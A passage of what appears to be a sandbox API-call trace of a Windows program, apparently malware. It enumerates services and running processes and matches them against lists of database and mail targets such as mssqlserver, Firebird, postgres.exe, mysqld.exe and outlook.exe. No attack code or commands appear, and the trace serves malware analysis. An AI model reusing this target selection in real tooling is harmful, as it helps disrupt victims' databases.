[0165.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0165.478] lstrlenW (lpString="LanmanWorkstation") returned 17 [0165.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.478] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0165.478] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0165.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0165.478] lstrlenW (lpString="lmhosts") returned 7 [0165.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0165.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0165.478] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0165.478] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0165.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0165.478] lstrlenW (lpString="MMCSS") returned 5 [0165.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0165.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0165.478] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0165.478] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0165.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0165.479] lstrlenW (lpString="MpsSvc") returned 6 [0165.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0165.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0165.479] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0165.479] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0165.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0165.479] lstrlenW (lpString="Netman") returned 6 [0165.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0165.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0165.479] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0165.479] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0165.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0165.479] lstrlenW (lpString="netprofm") returned 8 [0165.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0165.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0165.479] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0165.479] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0165.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0165.479] lstrlenW (lpString="NlaSvc") returned 6 [0165.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0165.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0165.479] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0165.479] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0165.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0165.479] lstrlenW (lpString="nsi") returned 3 [0165.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0165.479] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0165.479] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0165.479] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0165.479] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0165.479] lstrlenW (lpString="PcaSvc") returned 6 [0165.479] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0165.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0165.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0165.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0165.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0165.480] lstrlenW (lpString="PlugPlay") returned 8 [0165.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0165.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0165.480] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0165.480] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0165.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0165.480] lstrlenW (lpString="Power") returned 5 [0165.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0165.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0165.480] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0165.480] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0165.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0165.480] lstrlenW (lpString="ProfSvc") returned 7 [0165.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0165.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0165.480] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0165.480] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0165.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0165.480] lstrlenW (lpString="RpcEptMapper") returned 12 [0165.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0165.480] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0165.480] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0165.480] lstrlenW (lpString="RpcSs") returned 5 [0165.480] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0165.480] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0165.480] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0165.481] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0165.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0165.481] lstrlenW (lpString="SamSs") returned 5 [0165.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0165.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0165.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0165.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0165.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0165.481] lstrlenW (lpString="Schedule") returned 8 [0165.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0165.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0165.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0165.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0165.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0165.481] lstrlenW (lpString="SENS") returned 4 [0165.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0165.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0165.481] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0165.481] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0165.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0165.481] lstrlenW (lpString="ShellHWDetection") returned 16 [0165.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.481] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0165.481] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0165.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0165.481] lstrlenW (lpString="Spooler") returned 7 [0165.481] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0165.481] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0165.481] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0165.481] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0165.481] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0165.481] lstrlenW (lpString="SysMain") returned 7 [0165.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0165.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0165.482] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0165.482] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0165.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0165.482] lstrlenW (lpString="Themes") returned 6 [0165.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0165.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0165.482] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0165.482] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0165.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0165.482] lstrlenW (lpString="TrkWks") returned 6 [0165.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0165.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0165.482] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0165.482] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0165.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0165.482] lstrlenW (lpString="UxSms") returned 5 [0165.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0165.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0165.482] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0165.482] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0165.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0165.482] lstrlenW (lpString="WdiServiceHost") returned 14 [0165.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0165.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0165.482] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0165.482] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0165.482] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0165.482] lstrlenW (lpString="WdiSystemHost") returned 13 [0165.482] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0165.482] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0165.483] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0165.483] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0165.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0165.483] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0165.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0165.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0165.483] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0165.483] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0165.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0165.483] lstrlenW (lpString="Winmgmt") returned 7 [0165.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0165.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0165.483] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0165.483] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0165.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0165.483] lstrlenW (lpString="WPDBusEnum") returned 10 [0165.483] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0165.483] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0165.483] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0165.483] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0165.483] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0165.483] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0165.483] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x378 [0165.485] Process32FirstW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0165.485] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0165.486] lstrlenW (lpString="System") returned 6 [0165.486] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0165.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0165.486] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0165.486] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0165.486] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0165.486] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0165.486] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0165.486] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0165.486] lstrlenW (lpString="smss.exe") returned 8 [0165.486] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0165.486] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0165.486] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0165.486] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0165.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0165.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0165.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0165.487] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.487] lstrlenW (lpString="csrss.exe") returned 9 [0165.487] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0165.487] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0165.487] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0165.487] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0165.487] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0165.487] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0165.487] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0165.487] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0165.488] lstrlenW (lpString="wininit.exe") returned 11 [0165.488] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0165.488] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0165.488] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0165.488] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0165.488] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0165.488] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0165.488] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0165.488] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0165.488] lstrlenW (lpString="csrss.exe") returned 9 [0165.488] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0165.489] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0165.489] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0165.489] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0165.489] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0165.489] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0165.489] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0165.489] lstrlenW (lpString="winlogon.exe") returned 12 [0165.489] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0165.490] lstrlenW (lpString="services.exe") returned 12 [0165.490] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0165.490] lstrlenW (lpString="lsass.exe") returned 9 [0165.490] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0165.490] lstrlenW (lpString="lsm.exe") returned 7 [0165.490] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.491] lstrlenW (lpString="svchost.exe") returned 11 [0165.491] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.491] lstrlenW (lpString="svchost.exe") returned 11 [0165.491] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.492] lstrlenW (lpString="svchost.exe") returned 11 [0165.492] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.492] lstrlenW (lpString="svchost.exe") returned 11 [0165.492] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.492] lstrlenW (lpString="svchost.exe") returned 11 [0165.492] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0165.493] lstrlenW (lpString="audiodg.exe") returned 11 [0165.493] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.493] lstrlenW (lpString="svchost.exe") returned 11 [0165.493] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.494] lstrlenW (lpString="svchost.exe") returned 11 [0165.494] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0165.494] lstrlenW (lpString="spoolsv.exe") returned 11 [0165.494] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0165.494] lstrlenW (lpString="taskhost.exe") returned 12 [0165.494] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0165.495] lstrlenW (lpString="svchost.exe") returned 11 [0165.495] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0165.495] lstrlenW (lpString="userinit.exe") returned 12 [0165.495] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0165.496] lstrlenW (lpString="dwm.exe") returned 7 [0165.496] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0165.496] lstrlenW (lpString="explorer.exe") returned 12 [0165.496] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0165.496] lstrlenW (lpString="3G6885.exe") returned 10 [0165.496] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0165.497] lstrlenW (lpString="reader_sl.exe") returned 13 [0165.497] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0165.497] lstrlenW (lpString="drvinst.exe") returned 11 [0165.497] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0165.498] lstrlenW (lpString="taskhost.exe") returned 12 [0165.498] Process32NextW (in: hSnapshot=0x378, lppe=0x21ffd34 | out: 